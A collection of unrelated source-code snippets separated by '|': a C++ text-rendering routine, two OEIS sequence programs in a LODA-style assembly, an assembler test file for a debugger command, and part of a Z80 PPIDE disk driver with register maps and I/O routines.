Pass* pass = tech ? tech->GetPass("alpha") : nullptr;
if (pass)
{
switch (GetTextEffect())
{
case TE_NONE:
pass->SetPixelShaderDefines("SIGNED_DISTANCE_FIELD");
break;
case TE_SHADOW:
pass->SetPixelShaderDefines("SIGNED_DISTANCE_FIELD TEXT_EFFECT_SHADOW");
break;
case TE_STROKE:
pass->SetPixelShaderDefines("SIGNED_DISTANCE_FIELD TEXT_EFFECT_STROKE");
break;
}
}
}
switch (GetTextEffect())
{
case TE_SHADOW:
if (texture)
{
Vector2 shadowOffset(0.5f / texture->GetWidth(), 0.5f / texture->GetHeight());
material->SetShaderParameter("ShadowOffset", shadowOffset);
}
material->SetShaderParameter("ShadowColor", GetEffectColor());
break;
case TE_STROKE:
material->SetShaderParameter("StrokeColor", GetEffectColor());
break;
default:
break;
}
}
else
{
// If not SDF, set shader defines based on whether font texture is full RGB or just alpha
if (!material_)
{
Technique* tech = material->GetTechnique(0);
Pass* pass = tech ? tech->GetPass("alpha") : nullptr;
if (pass)
{
if (texture && texture->GetFormat() == Graphics::GetAlphaFormat())
pass->SetPixelShaderDefines("ALPHAMAP");
else
pass->SetPixelShaderDefines("");
}
}
}
}
}
void Text3D::CalculateFixedScreenSize(const FrameInfo& frame)
{
Vector3 worldPosition = node_->GetWorldPosition();
Vector3 worldScale = node_->GetWorldScale();
if (fixedScreenSize_)
{
float textScaling = 2.0f / TEXT_SCALING / frame.viewSize_.y_;
float halfViewWorldSize = frame.camera_->GetHalfViewSize();
if (!frame.camera_->IsOrthographic())
{
Matrix4 viewProj(frame.camera_->GetProjection() * frame.camera_->GetView());
Vector4 projPos(viewProj * Vector4(worldPosition, 1.0f));
worldScale *= textScaling * halfViewWorldSize * projPos.w_;
}
else
worldScale *= textScaling * halfViewWorldSize;
}
customWorldTransform_ = Matrix3x4(worldPosition, frame.camera_->GetFaceCameraRotation(
worldPosition, node_->GetWorldRotation(), faceCameraMode_, minAngle_), worldScale);
worldBoundingBoxDirty_ = true;
}
}
|
; A033445: a(n) = (n - 1)*(n^2 + n - 1).
; 1,0,5,22,57,116,205,330,497,712,981,1310,1705,2172,2717,3346,4065,4880,5797,6822,7961,9220,10605,12122,13777,15576,17525,19630,21897,24332,26941,29730,32705,35872,39237,42806,46585,50580,54797,59242,63921,68840,74005,79422,85097,91036,97245,103730,110497,117552,124901,132550,140505,148772,157357,166266,175505,185080,194997,205262,215881,226860,238205,249922,262017,274496,287365,300630,314297,328372,342861,357770,373105,388872,405077,421726,438825,456380,474397,492882,511841,531280,551205,571622,592537,613956,635885,658330,681297,704792,728821,753390,778505,804172,830397,857186,884545,912480,940997,970102
mov $1,$0
pow $0,2
sub $0,2
mul $0,$1
add $0,1
|
; A052141: Number of paths from (0,0) to (n,n) that always move closer to (n,n) (and do not pass (n,n) and backtrack).
; Submitted by Christian Krause
; 1,3,26,252,2568,26928,287648,3112896,34013312,374416128,4145895936,46127840256,515268544512,5775088103424,64912164888576,731420783788032,8259345993203712,93443504499523584,1058972245409005568,12019152955622817792,136599995048232747008,1554384121210258587648,17707122894917962039296,201919016476580304125952,2304671139169299718995968,26327563573360896327548928,300991051520442473243475968,3443595843402636047161491456,39424271241380789587607027712,451635104485901200057914359808
seq $0,84773 ; Coefficients of 1/sqrt(1-12*x+4*x^2); also, a(n) is the central coefficient of (1+6x+8x^2)^n.
sub $0,1
div $0,2
add $0,1
|
# $Id: 03.asm,v 1.1 2001/03/22 21:31:40 ellard Exp $
#@ Tests the 'i' command.
start:
lc r2, 1
add r3, r4, r5
sub r4, r5, r6
mul r5, r6, r7
and r6, r7, r8
nor r7, r8, r9
shf r8, r9, r10
ld1 r9, r10, 11
st1 r10, r11, 12
inc r11, 13
# Up to this point, we can actually execute the program.
# The rest of this is just for show.
stop:
jmp 14
out r15, ASCII
in r14, ASCII
bgt r0, r1, r2
beq r1, r2, r3
hlt:
hlt
_data_:
.byte 0x0, 0x1, 0x2, 0x3
.byte 0x4, 0x5, 0x6, 0x7
end_data:
#>> b $stop
#>> i 0
#>> i 2
#>> i 0, 2
#>> i $stop
#>> i $hlt
#>> i $stop, $hlt
#>> i
#>> g
#>> i $stop
#>> i $hlt
#>> i $stop, $hlt
#>> i
#>> q
|
;
;=============================================================================
; PPIDE DISK DRIVER
;=============================================================================
;
; TODO:
; - FIX SCALER CONSTANT
; - GOPARTNER NEEDS TO HANDLE "NO PARTNER" CONDITION
;
; NOTES:
; - WELL KNOWN PPIDE PORT ADDRESSES:
; $60 - SBC/ZETA ONBOARD PPI
; $20 - ECB DISKIO3, RC FAMILY
; $44 - ECB MULTI-FUNCTION PIC
; $80 - N8 ONBOARD PPI
; $4C - DYNO ONBOARD PPI
;
; THE CONTROL PORT OF THE 8255 IS PROGRAMMED AS NEEDED TO READ OR WRITE
; DATA ON THE IDE BUS. PORT C OF THE 8255 IS ALWAYS IN OUTPUT MODE BECAUSE
; IT IS DRIVING THE ADDRESS BUS AND CONTROL SIGNALS. PORTS A & B WILL BE
; PLACED IN READ OR WRITE MODE DEPENDING ON THE DIRECTION OF THE DATA BUS.
;
PPIDE_DIR_READ .EQU %10010010 ; IDE BUS DATA INPUT MODE
PPIDE_DIR_WRITE .EQU %10000000 ; IDE BUS DATA OUTPUT MODE
;
; PORT C OF THE 8255 IS USED TO DRIVE THE IDE INTERFACE ADDRESS BUS
; AND VARIOUS CONTROL SIGNALS. THE CONSTANTS BELOW REFLECT THESE
; ASSIGNMENTS.
;
PPIDE_CTL_DA0 .EQU %00000001 ; DRIVE ADDRESS BUS - BIT 0 (DA0)
PPIDE_CTL_DA1 .EQU %00000010 ; DRIVE ADDRESS BUS - BIT 1 (DA1)
PPIDE_CTL_DA2 .EQU %00000100 ; DRIVE ADDRESS BUS - BIT 2 (DA2)
PPIDE_CTL_CS1 .EQU %00001000 ; DRIVE CHIP SELECT 0 (ACTIVE LOW, INVERTED)
PPIDE_CTL_CS3 .EQU %00010000 ; DRIVE CHIP SELECT 1 (ACTIVE LOW, INVERTED)
PPIDE_CTL_DIOW .EQU %00100000 ; DRIVE I/O WRITE (ACTIVE LOW, INVERTED)
PPIDE_CTL_DIOR .EQU %01000000 ; DRIVE I/O READ (ACTIVE LOW, INVERTED)
PPIDE_CTL_RESET .EQU %10000000 ; DRIVE RESET (ACTIVE LOW, INVERTED)
;
; +-----------------------------------------------------------------------+
; | CONTROL BLOCK REGISTERS (CS3FX) |
; +-----------------------+-------+-------+-------------------------------+
; | REGISTER | PORT | DIR | DESCRIPTION |
; +-----------------------+-------+-------+-------------------------------+
; | PPIDE_REG_ALTSTAT | 0x06 | R | ALTERNATE STATUS REGISTER |
; | PPIDE_REG_CTRL | 0x06 | W | DEVICE CONTROL REGISTER |
; | PPIDE_REG_DRVADR | 0x07 | R | DRIVE ADDRESS REGISTER |
; +-----------------------+-------+-------+-------------------------------+
;
; +-----------------------+-------+-------+-------------------------------+
; | COMMAND BLOCK REGISTERS (CS1FX) |
; +-----------------------+-------+-------+-------------------------------+
; | REGISTER | PORT | DIR | DESCRIPTION |
; +-----------------------+-------+-------+-------------------------------+
; | PPIDE_REG_DATA | 0x00 | R/W | DATA INPUT/OUTPUT |
; | PPIDE_REG_ERR | 0x01 | R | ERROR REGISTER |
; | PPIDE_REG_FEAT | 0x01 | W | FEATURES REGISTER |
; | PPIDE_REG_COUNT | 0x02 | R/W | SECTOR COUNT REGISTER |
; | PPIDE_REG_SECT | 0x03 | R/W | SECTOR NUMBER REGISTER |
; | PPIDE_REG_CYLLO | 0x04 | R/W | CYLINDER NUM REGISTER (LSB) |
; | PPIDE_REG_CYLHI | 0x05 | R/W | CYLINDER NUM REGISTER (MSB) |
; | PPIDE_REG_DRVHD | 0x06 | R/W | DRIVE/HEAD REGISTER |
; | PPIDE_REG_LBA0* | 0x03 | R/W | LBA BYTE 0 (BITS 0-7) |
; | PPIDE_REG_LBA1* | 0x04 | R/W | LBA BYTE 1 (BITS 8-15) |
; | PPIDE_REG_LBA2* | 0x05 | R/W | LBA BYTE 2 (BITS 16-23) |
; | PPIDE_REG_LBA3* | 0x06 | R/W | LBA BYTE 3 (BITS 24-27) |
; | PPIDE_REG_STAT | 0x07 | R | STATUS REGISTER |
; | PPIDE_REG_CMD | 0x07 | W | COMMAND REGISTER (EXECUTE) |
; +-----------------------+-------+-------+-------------------------------+
; * LBA0-3 ARE ALTERNATE DEFINITIONS OF SECT, CYL, AND DRVHD PORTS
;
; === STATUS REGISTER ===
;
; 7 6 5 4 3 2 1 0
; +-------+-------+-------+-------+-------+-------+-------+-------+
; | BSY | DRDY | DWF | DSC | DRQ | CORR | IDX | ERR |
; +-------+-------+-------+-------+-------+-------+-------+-------+
;
; BSY: BUSY
; DRDY: DRIVE READY
; DWF: DRIVE WRITE FAULT
; DSC: DRIVE SEEK COMPLETE
; DRQ: DATA REQUEST
; CORR: CORRECTED DATA
; IDX: INDEX
; ERR: ERROR
;
; === ERROR REGISTER ===
;
; 7 6 5 4 3 2 1 0
; +-------+-------+-------+-------+-------+-------+-------+-------+
; | BBK | UNC | MC | IDNF | MCR | ABRT | TK0NF | AMNF |
; +-------+-------+-------+-------+-------+-------+-------+-------+
; (VALID WHEN ERR BIT IS SET IN STATUS REGISTER)
;
; BBK: BAD BLOCK DETECTED
; UNC: UNCORRECTABLE DATA ERROR
; MC: MEDIA CHANGED
; IDNF: ID NOT FOUND
; MCR: MEDIA CHANGE REQUESTED
; ABRT: ABORTED COMMAND
; TK0NF: TRACK 0 NOT FOUND
; AMNF: ADDRESS MARK NOT FOUND
;
; === DRIVE/HEAD / LBA3 REGISTER ===
;
; 7 6 5 4 3 2 1 0
; +-------+-------+-------+-------+-------+-------+-------+-------+
; | 1 | L | 1 | DRV | HS3 | HS2 | HS1 | HS0 |
; +-------+-------+-------+-------+-------+-------+-------+-------+
;
; L: 0 = CHS ADDRESSING, 1 = LBA ADDRESSING
; DRV: 0 = DRIVE 0 (PRIMARY) SELECTED, 1 = DRIVE 1 (SLAVE) SELECTED
; HS: CHS = HEAD ADDRESS (0-15), LBA = BITS 24-27 OF LBA
;
; === DEVICE CONTROL REGISTER ===
;
; 7 6 5 4 3 2 1 0
; +-------+-------+-------+-------+-------+-------+-------+-------+
; | X | X | X | X | 1 | SRST | ~IEN | 0 |
; +-------+-------+-------+-------+-------+-------+-------+-------+
;
; SRST: SOFTWARE RESET
; ~IEN: INTERRUPT ENABLE
;
; CONTROL VALUES TO USE WHEN ACCESSING THE VARIOUS IDE DEVICE REGISTERS
;
PPIDE_REG_DATA .EQU PPIDE_CTL_CS1 | $00 ; DATA INPUT/OUTPUT (R/W)
PPIDE_REG_ERR .EQU PPIDE_CTL_CS1 | $01 ; ERROR REGISTER (R)
PPIDE_REG_FEAT .EQU PPIDE_CTL_CS1 | $01 ; FEATURES REGISTER (W)
PPIDE_REG_COUNT .EQU PPIDE_CTL_CS1 | $02 ; SECTOR COUNT REGISTER (R/W)
PPIDE_REG_SECT .EQU PPIDE_CTL_CS1 | $03 ; SECTOR NUMBER REGISTER (R/W)
PPIDE_REG_CYLLO .EQU PPIDE_CTL_CS1 | $04 ; CYLINDER NUM REGISTER (LSB) (R/W)
PPIDE_REG_CYLHI .EQU PPIDE_CTL_CS1 | $05 ; CYLINDER NUM REGISTER (MSB) (R/W)
PPIDE_REG_DRVHD .EQU PPIDE_CTL_CS1 | $06 ; DRIVE/HEAD REGISTER (R/W)
PPIDE_REG_LBA0 .EQU PPIDE_CTL_CS1 | $03 ; LBA BYTE 0 (BITS 0-7) (R/W)
PPIDE_REG_LBA1 .EQU PPIDE_CTL_CS1 | $04 ; LBA BYTE 1 (BITS 8-15) (R/W)
PPIDE_REG_LBA2 .EQU PPIDE_CTL_CS1 | $05 ; LBA BYTE 2 (BITS 16-23) (R/W)
PPIDE_REG_LBA3 .EQU PPIDE_CTL_CS1 | $06 ; LBA BYTE 3 (BITS 24-27) (R/W)
PPIDE_REG_STAT .EQU PPIDE_CTL_CS1 | $07 ; STATUS REGISTER (R)
PPIDE_REG_CMD .EQU PPIDE_CTL_CS1 | $07 ; COMMAND REGISTER (EXECUTE) (W)
PPIDE_REG_ALTSTAT .EQU PPIDE_CTL_CS3 | $06 ; ALTERNATE STATUS REGISTER (R)
PPIDE_REG_CTRL .EQU PPIDE_CTL_CS3 | $06 ; DEVICE CONTROL REGISTER (W)
PPIDE_REG_DRVADR .EQU PPIDE_CTL_CS3 | $07 ; DRIVE ADDRESS REGISTER (R)
;
; COMMAND BYTES
;
PPIDE_CMD_RECAL .EQU $10
PPIDE_CMD_READ .EQU $20
PPIDE_CMD_WRITE .EQU $30
PPIDE_CMD_IDDEV .EQU $EC
PPIDE_CMD_SETFEAT .EQU $EF
;
; FEATURE BYTES
;
PPIDE_FEAT_ENABLE8BIT .EQU $01
PPIDE_FEAT_DISABLE8BIT .EQU $81
;
; PPIDE DEVICE TYPES
;
PPIDE_TYPEUNK .EQU 0
PPIDE_TYPEATA .EQU 1
PPIDE_TYPEATAPI .EQU 2
;
; PPIDE DEVICE STATUS CODES
;
PPIDE_STOK .EQU 0
PPIDE_STINVUNIT .EQU -1
PPIDE_STNOMEDIA .EQU -2
PPIDE_STCMDERR .EQU -3
PPIDE_STIOERR .EQU -4
PPIDE_STRDYTO .EQU -5
PPIDE_STDRQTO .EQU -6
PPIDE_STBSYTO .EQU -7
;
; DRIVE SELECTION BYTES (FOR USE IN DRIVE/HEAD REGISTER)
;
;PPIDE_DRVSEL:
PPIDE_DRVMASTER .EQU %11100000 ; LBA, MASTER DEVICE
PPIDE_DRVSLAVE .EQU %11110000 ; LBA, SLAVE DEVICE
;
; PPIDE DEVICE CONFIGURATION
;
PPIDE_CFGSIZ .EQU 18 ; SIZE OF CFG TBL ENTRIES
;
; PER DEVICE DATA OFFSETS
;
PPIDE_DEV .EQU 0 ; OFFSET OF DEVICE NUMBER (BYTE)
PPIDE_STAT .EQU 1 ; LAST STATUS (BYTE)
PPIDE_TYPE .EQU 2 ; DEVICE TYPE (BYTE)
PPIDE_ACC .EQU 3 ; ACCESS FLAG BITS BIT 0=MASTER, 1=8BIT (BYTE)
PPIDE_MED .EQU 4 ; MEDIA FLAG BITS BIT 0=CF, 1=LBA (BYTE)
PPIDE_MEDCAP .EQU 5 ; MEDIA CAPACITY (DWORD)
PPIDE_LBA .EQU 9 ; OFFSET OF LBA (DWORD)
PPIDE_DATALO .EQU 13 ; BASE PORT AND IDE DATA BUS LSB (8255 PORT A) (BYTE)
PPIDE_CTL .EQU 14 ; IDE ADDRESS BUS AND CONTROL SIGNALS (8255 PORT C)(BYTE)
PPIDE_PPI .EQU 15 ; 8255 CONTROL PORT(BYTE)
PPIDE_PARTNER .EQU 16 ; PARTNER DEVICE (MASTER <-> SLAVE) (WORD)
;
PPIDE_ACC_MAS .EQU %00000001 ; UNIT IS MASTER (ELSE SLAVE)
PPIDE_ACC_8BIT .EQU %00000010 ; UNIT WANTS 8 BIT I/O (ELSE 16 BIT)
;
PPIDE_MED_CF .EQU %00000001 ; MEDIA IS CF CARD
PPIDE_MED_LBA .EQU %00000010 ; MEDIA HAS LBA CAPABILITY
;
PPIDE_DEVCNT .EQU PPIDECNT * 2
;
PPIDE_CFGTBL:
;
#IF (PPIDECNT >= 1)
;
PPIDE_DEV0M: ; DEVICE 0, MASTER
.DB 0 ; DRIVER RELATIVE DEVICE NUMBER (ASSIGNED DURING INIT)
.DB 0 ; DEVICE STATUS
.DB 0 ; DEVICE TYPE
.DB PPIDE_ACC_MAS | (PPIDE0A8BIT & PPIDE_ACC_8BIT) ; UNIT ACCESS FLAGS
.DB 0 ; MEDIA FLAGS
.DW 0,0 ; DEVICE CAPACITY
.DW 0,0 ; CURRENT LBA
.DB PPIDE0BASE ; DATALO
.DB PPIDE0BASE+2 ; CTL
.DB PPIDE0BASE+3 ; PPI
.DW PPIDE_DEV0S ; PARTNER
;
PPIDE_DEV0S: ; DEVICE 0, SLAVE
.DB 0 ; DRIVER RELATIVE DEVICE NUMBER (ASSIGNED DURING INIT)
.DB 0 ; DEVICE STATUS
.DB 0 ; DEVICE TYPE
.DB (PPIDE0B8BIT & PPIDE_ACC_8BIT) ; UNIT ACCESS FLAGS
.DB 0 ; MEDIA FLAGS
.DW 0,0 ; DEVICE CAPACITY
.DW 0,0 ; CURRENT LBA
.DB PPIDE0BASE ; DATALO
.DB PPIDE0BASE+2 ; CTL
.DB PPIDE0BASE+3 ; PPI
.DW PPIDE_DEV0M ; PARTNER
;
#ENDIF
;
#IF (PPIDECNT >= 2)
;
PPIDE_DEV1M: ; DEVICE 1, MASTER
.DB 0 ; DRIVER RELATIVE DEVICE NUMBER (ASSIGNED DURING INIT)
.DB 0 ; DEVICE STATUS
.DB 0 ; DEVICE TYPE
.DB PPIDE_ACC_MAS | (PPIDE1A8BIT & PPIDE_ACC_8BIT) ; UNIT ACCESS FLAGS
.DB 0 ; MEDIA FLAGS
.DW 0,0 ; DEVICE CAPACITY
.DW 0,0 ; CURRENT LBA
.DB PPIDE1BASE ; DATALO
.DB PPIDE1BASE+2 ; CTL
.DB PPIDE1BASE+3 ; PPI
.DW PPIDE_DEV1S ; PARTNER
;
PPIDE_DEV1S: ; DEVICE 1, SLAVE
.DB 0 ; DRIVER RELATIVE DEVICE NUMBER (ASSIGNED DURING INIT)
.DB 0 ; DEVICE STATUS
.DB 0 ; DEVICE TYPE
.DB (PPIDE1B8BIT & PPIDE_ACC_8BIT) ; UNIT ACCESS FLAGS
.DB 0 ; MEDIA FLAGS
.DW 0,0 ; DEVICE CAPACITY
.DW 0,0 ; CURRENT LBA
.DB PPIDE1BASE ; DATALO
.DB PPIDE1BASE+2 ; CTL
.DB PPIDE1BASE+3 ; PPI
.DW PPIDE_DEV1M ; PARTNER
;
#ENDIF
;
#IF (PPIDECNT >= 3)
;
PPIDE_DEV2M: ; DEVICE 2, MASTER
.DB 0 ; DRIVER RELATIVE DEVICE NUMBER (ASSIGNED DURING INIT)
.DB 0 ; DEVICE STATUS
.DB 0 ; DEVICE TYPE
.DB PPIDE_ACC_MAS | (PPIDE2A8BIT & PPIDE_ACC_8BIT) ; UNIT ACCESS FLAGS
.DB 0 ; MEDIA FLAGS
.DW 0,0 ; DEVICE CAPACITY
.DW 0,0 ; CURRENT LBA
.DB PPIDE2BASE ; DATALO
.DB PPIDE2BASE+2 ; CTL
.DB PPIDE2BASE+3 ; PPI
.DW PPIDE_DEV2S ; PARTNER
;
PPIDE_DEV2S: ; DEVICE 2, SLAVE
.DB 0 ; DRIVER RELATIVE DEVICE NUMBER (ASSIGNED DURING INIT)
.DB 0 ; DEVICE STATUS
.DB 0 ; DEVICE TYPE
.DB (PPIDE2B8BIT & PPIDE_ACC_8BIT) ; UNIT ACCESS FLAGS
.DB 0 ; MEDIA FLAGS
.DW 0,0 ; DEVICE CAPACITY
.DW 0,0 ; CURRENT LBA
.DB PPIDE2BASE ; DATALO
.DB PPIDE2BASE+2 ; CTL
.DB PPIDE2BASE+3 ; PPI
.DW PPIDE_DEV2M ; PARTNER
;
#ENDIF
;
#IF ($ - PPIDE_CFGTBL) != (PPIDE_DEVCNT * PPIDE_CFGSIZ)
.ECHO "*** INVALID PPIDE CONFIG TABLE ***\n"
#ENDIF
;
.DB $FF ; END OF TABLE MARKER
;
; THE IDE_WAITXXX FUNCTIONS ARE BUILT TO TIMEOUT AS NEEDED SO DRIVER WILL
; NOT HANG IF DEVICE IS UNRESPONSIVE. DIFFERENT TIMEOUTS ARE USED DEPENDING
; ON THE SITUATION. GENERALLY, THE FAST TIMEOUT IS USED TO PROBE FOR DEVICES
; USING FUNCTIONS THAT PERFORM NO I/O. OTHERWISE THE NORMAL TIMEOUT IS USED.
; IDE SPEC ALLOWS FOR UP TO 30 SECS MAX TO RESPOND. IN PRACTICE, THIS IS WAY
; TOO LONG, BUT IF YOU ARE USING A VERY OLD DEVICE, THESE TIMEOUTS MAY NEED TO
; BE ADJUSTED. NOTE THAT THESE ARE BYTE VALUES, SO YOU CANNOT EXCEED 255.
; THE TIMEOUTS ARE IN UNITS OF .05 SECONDS.
;
PPIDE_TONORM .EQU 200 ; NORMAL TIMEOUT IS 10 SECS
PPIDE_TOFAST .EQU 10 ; FAST TIMEOUT IS 0.5 SECS
;
;=============================================================================
; INITIALIZATION ENTRY POINT
;=============================================================================
;
PPIDE_INIT:
; COMPUTE CPU SPEED COMPENSATED TIMEOUT SCALER
; AT 1MHZ, THE SCALER IS 218 (50000US / 229TS = 218)
; SCALER IS THEREFORE 218 * CPU SPEED IN MHZ
LD DE,218 ; LOAD SCALER FOR 1MHZ
LD A,(CB_CPUMHZ) ; LOAD CPU SPEED IN MHZ
CALL MULT8X16 ; HL := DE * A
LD (PPIDE_TOSCALER),HL ; SAVE IT
;
XOR A ; ZERO ACCUM
LD (PPIDE_DEVNUM),A ; INIT DEV UNIT NUM FOR DYNAMIC ASSIGNMENT
LD IY,PPIDE_CFGTBL ; POINT TO START OF CONFIG TABLE
;
PPIDE_INIT1:
LD A,(IY) ; LOAD FIRST BYTE TO CHECK FOR END
CP $FF ; CHECK FOR END OF TABLE VALUE
JR NZ,PPIDE_INIT2 ; IF NOT END OF TABLE, CONTINUE
XOR A ; SIGNAL SUCCESS
RET ; AND RETURN
;
PPIDE_INIT2:
BIT 0,(IY+PPIDE_ACC) ; MASTER?
JR Z,PPIDE_INIT4 ; IF NOT MASTER, SKIP AHEAD
;
CALL NEWLINE ; FORMATTING
PRTS("PPIDE:$") ; LABEL FOR IO ADDRESS
;
PRTS(" IO=0x$") ; LABEL FOR IO ADDRESS
LD A,(IY+PPIDE_DATALO) ; GET IO BASE ADDRES
CALL PRTHEXBYTE ; DISPLAY IT
;
CALL PPIDE_DETECT ; PROBE FOR INTERFACE
JR Z,PPIDE_INIT3 ; GOT IT, MOVE ON TO INIT UNITS
CALL PC_SPACE ; FORMATTING
LD DE,PPIDE_STR_NOPPI ; NO PPI MESSAGE
CALL WRITESTR ; DISPLAY IT
JR PPIDE_INIT4 ; SKIP CFG ENTRY
;
PPIDE_INIT3:
CALL PPIDE_RESET ; RESET THE BUS
CALL PPIDE_INIT5 ; DETECT/INIT MASTER
PUSH IY ; SAVE CFG PTR
CALL PPIDE_GOPARTNER ; SWITCH IY TO PARTNER CFG
CALL PPIDE_INIT5 ; DETECT/INIT SLAVE
POP IY ; RESTORE CFG PTR
;
PPIDE_INIT4:
LD DE,PPIDE_CFGSIZ ; SIZE OF CFG TABLE ENTRY
ADD IY,DE ; BUMP POINTER
JR PPIDE_INIT1 ; AND LOOP
;
PPIDE_INIT5:
; UPDATE DRIVER RELATIVE UNIT NUMBER IN CONFIG TABLE
LD A,(PPIDE_DEVNUM) ; GET NEXT UNIT NUM TO ASSIGN
LD (IY+PPIDE_DEV),A ; UPDATE IT
INC A ; BUMP TO NEXT UNIT NUM TO ASSIGN
LD (PPIDE_DEVNUM),A ; SAVE IT
;
; ADD UNIT TO GLOBAL DISK UNIT TABLE
LD BC,PPIDE_FNTBL ; BC := FUNC TABLE ADR
PUSH IY ; CFG ENTRY POINTER
POP DE ; COPY TO DE
CALL DIO_ADDENT ; ADD ENTRY TO GLOBAL DISK DEV TABLE
;
; CHECK FOR BAD STATUS
LD A,(IY+PPIDE_STAT) ; GET STATUS
OR A ; SET FLAGS
JP NZ,PPIDE_PRTSTAT ; EXIT VIA PRINT STATUS
;
CALL PPIDE_PRTPREFIX ; PRINT DEVICE PREFIX
;
LD DE,PPIDE_STR_8BIT
BIT 1,(IY+PPIDE_ACC) ; 8 BIT ACCESS?
CALL NZ,WRITESTR
;
; PRINT LBA/NOLBA
CALL PC_SPACE ; FORMATTING
BIT 1,(IY+PPIDE_MED) ; TEST LBA FLAG
LD DE,PPIDE_STR_NO ; POINT TO "NO" STRING
CALL Z,WRITESTR ; PRINT "NO" BEFORE "LBA" IF LBA NOT SUPPORTED
PRTS("LBA$") ; PRINT "LBA" REGARDLESS
;
; PRINT STORAGE CAPACITY (BLOCK COUNT)
PRTS(" BLOCKS=0x$") ; PRINT FIELD LABEL
LD A,PPIDE_MEDCAP ; OFFSET TO CAPACITY FIELD
CALL LDHLIYA ; HL := IY + A, REG A TRASHED
CALL LD32 ; GET THE CAPACITY VALUE
CALL PRTHEX32 ; PRINT HEX VALUE
;
; PRINT STORAGE SIZE IN MB
PRTS(" SIZE=$") ; PRINT FIELD LABEL
LD B,11 ; 11 BIT SHIFT TO CONVERT BLOCKS --> MB
CALL SRL32 ; RIGHT SHIFT
CALL PRTDEC ; PRINT LOW WORD IN DECIMAL (HIGH WORD DISCARDED)
PRTS("MB$") ; PRINT SUFFIX
;
RET
;
;----------------------------------------------------------------------
; PROBE FOR PPI HARDWARE
;----------------------------------------------------------------------
;
; ON RETURN, ZF SET INDICATES HARDWARE FOUND
;
PPIDE_DETECT:
;
; TEST FOR PPI EXISTENCE
; WE SETUP THE PPI TO WRITE, THEN WRITE A VALUE OF ZERO
; TO PORT A (DATALO), THEN READ IT BACK. IF THE PPI IS THERE
; THEN THE BUS HOLD CIRCUITRY WILL READ BACK THE ZERO. SINCE
; WE ARE IN WRITE MODE, AN IDE CONTROLLER WILL NOT BE ABLE TO
; INTERFERE WITH THE VALUE BEING READ.
;
LD A,PPIDE_DIR_WRITE ; SET DATA BUS DIRECTION TO WRITE
LD C,(IY+PPIDE_PPI) ; PPI CONTROL WORD
OUT (C),A ; WRITE IT
;
LD C,(IY+PPIDE_DATALO) ; PPI PORT A, DATALO
XOR A ; VALUE ZERO
OUT (C),A ; PUSH VALUE TO PORT
IN A,(C) ; GET PORT VALUE
#IF (PPIDETRACE >= 3)
CALL PC_SPACE
CALL PRTHEXBYTE
#ENDIF
OR A ; SET FLAGS
RET ; AND RETURN
;
;=============================================================================
; DRIVER FUNCTION TABLE
;=============================================================================
;
PPIDE_FNTBL:
.DW PPIDE_STATUS
.DW PPIDE_RESET
.DW PPIDE_SEEK
.DW PPIDE_READ
.DW PPIDE_WRITE
.DW PPIDE_VERIFY
.DW PPIDE_FORMAT
.DW PPIDE_DEVICE
.DW PPIDE_MEDIA
.DW PPIDE_DEFMED
.DW PPIDE_CAP
.DW PPIDE_GEOM
#IF (($ - PPIDE_FNTBL) != (DIO_FNCNT * 2))
.ECHO "*** INVALID PPIDE FUNCTION TABLE ***\n"
#ENDIF
;
PPIDE_VERIFY:
PPIDE_FORMAT:
PPIDE_DEFMED:
CALL SYSCHK ; NOT IMPLEMENTED
LD A,ERR_NOTIMPL
OR A
RET
;
;
;
PPIDE_READ:
CALL HB_DSKREAD ; HOOK HBIOS DISK READ SUPERVISOR
LD BC,PPIDE_RDSEC ; GET ADR OF SECTOR READ FUNC
LD (PPIDE_IOFNADR),BC ; SAVE IT AS PENDING IO FUNC
JR PPIDE_IO ; CONTINUE TO GENERIC IO ROUTINE
;
;
;
PPIDE_WRITE:
CALL HB_DSKWRITE ; HOOK HBIOS DISK WRITE SUPERVISOR
LD BC,PPIDE_WRSEC ; GET ADR OF SECTOR WRITE FUNC
LD (PPIDE_IOFNADR),BC ; SAVE IT AS PENDING IO FUNC
JR PPIDE_IO ; CONTINUE TO GENERIC IO ROUTINE
;
;
;
PPIDE_IO:
LD (PPIDE_DSKBUF),HL ; SAVE DISK BUFFER ADDRESS
LD A,E ; BLOCK COUNT TO A
OR A ; SET FLAGS
RET Z ; ZERO SECTOR I/O, RETURN W/ E=0 & A=0
LD B,A ; INIT SECTOR DOWNCOUNTER
LD C,0 ; INIT SECTOR READ/WRITE COUNT
#IF (PPIDETRACE == 1)
LD HL,PPIDE_PRTERR ; SET UP PPIDE_PRTERR
PUSH HL ; ... TO FILTER ALL EXITS
#ENDIF
PUSH BC ; SAVE COUNTERS
CALL PPIDE_SELUNIT ; HARDWARE SELECTION OF TARGET UNIT
CALL PPIDE_CHKERR ; CHECK FOR ERR STATUS AND RESET IF SO
POP BC ; RESTORE COUNTERS
JR NZ,PPIDE_IO3 ; BAIL OUT ON ERROR
PPIDE_IO1:
PUSH BC ; SAVE COUNTERS
LD HL,(PPIDE_IOFNADR) ; GET PENDING IO FUNCTION ADDRESS
CALL JPHL ; ... AND CALL IT
JR NZ,PPIDE_IO2 ; IF ERROR, SKIP INCREMENT
; INCREMENT LBA
LD A,PPIDE_LBA ; LBA OFFSET
CALL LDHLIYA ; HL := IY + A, REG A TRASHED
CALL INC32HL ; INCREMENT THE VALUE
; INCREMENT DMA
LD HL,PPIDE_DSKBUF+1 ; POINT TO MSB OF BUFFER ADR
INC (HL) ; BUMP DMA BY
INC (HL) ; ... 512 BYTES
XOR A ; SIGNAL SUCCESS
PPIDE_IO2:
POP BC ; RECOVER COUNTERS
JR NZ,PPIDE_IO3 ; IF ERROR, BAIL OUT
INC C ; BUMP COUNT OF SECTORS READ
DJNZ PPIDE_IO1 ; LOOP AS NEEDED
PPIDE_IO3:
LD E,C ; SECTOR READ COUNT TO E
LD HL,(PPIDE_DSKBUF) ; CURRENT DMA TO HL
OR A ; SET FLAGS BASED ON RETURN CODE
RET Z ; RETURN IF SUCCESS
LD A,ERR_IO ; SIGNAL IO ERROR
OR A ; SET FLAGS
RET ; AND DONE
;
;
;
PPIDE_STATUS:
; RETURN UNIT STATUS
LD A,(IY+PPIDE_STAT) ; GET STATUS OF SELECTED DEVICE
OR A ; SET FLAGS
RET ; AND RETURN
;
;
;
PPIDE_DEVICE:
LD D,DIODEV_PPIDE ; D := DEVICE TYPE
LD E,(IY+PPIDE_DEV) ; E := PHYSICAL DEVICE NUMBER
BIT 0,(IY+PPIDE_MED) ; TEST CF BIT IN FLAGS
LD C,%00000000 ; ASSUME NON-REMOVABLE HARD DISK
JR Z,PPIDE_DEVICE1 ; IF Z, WE ARE DONE
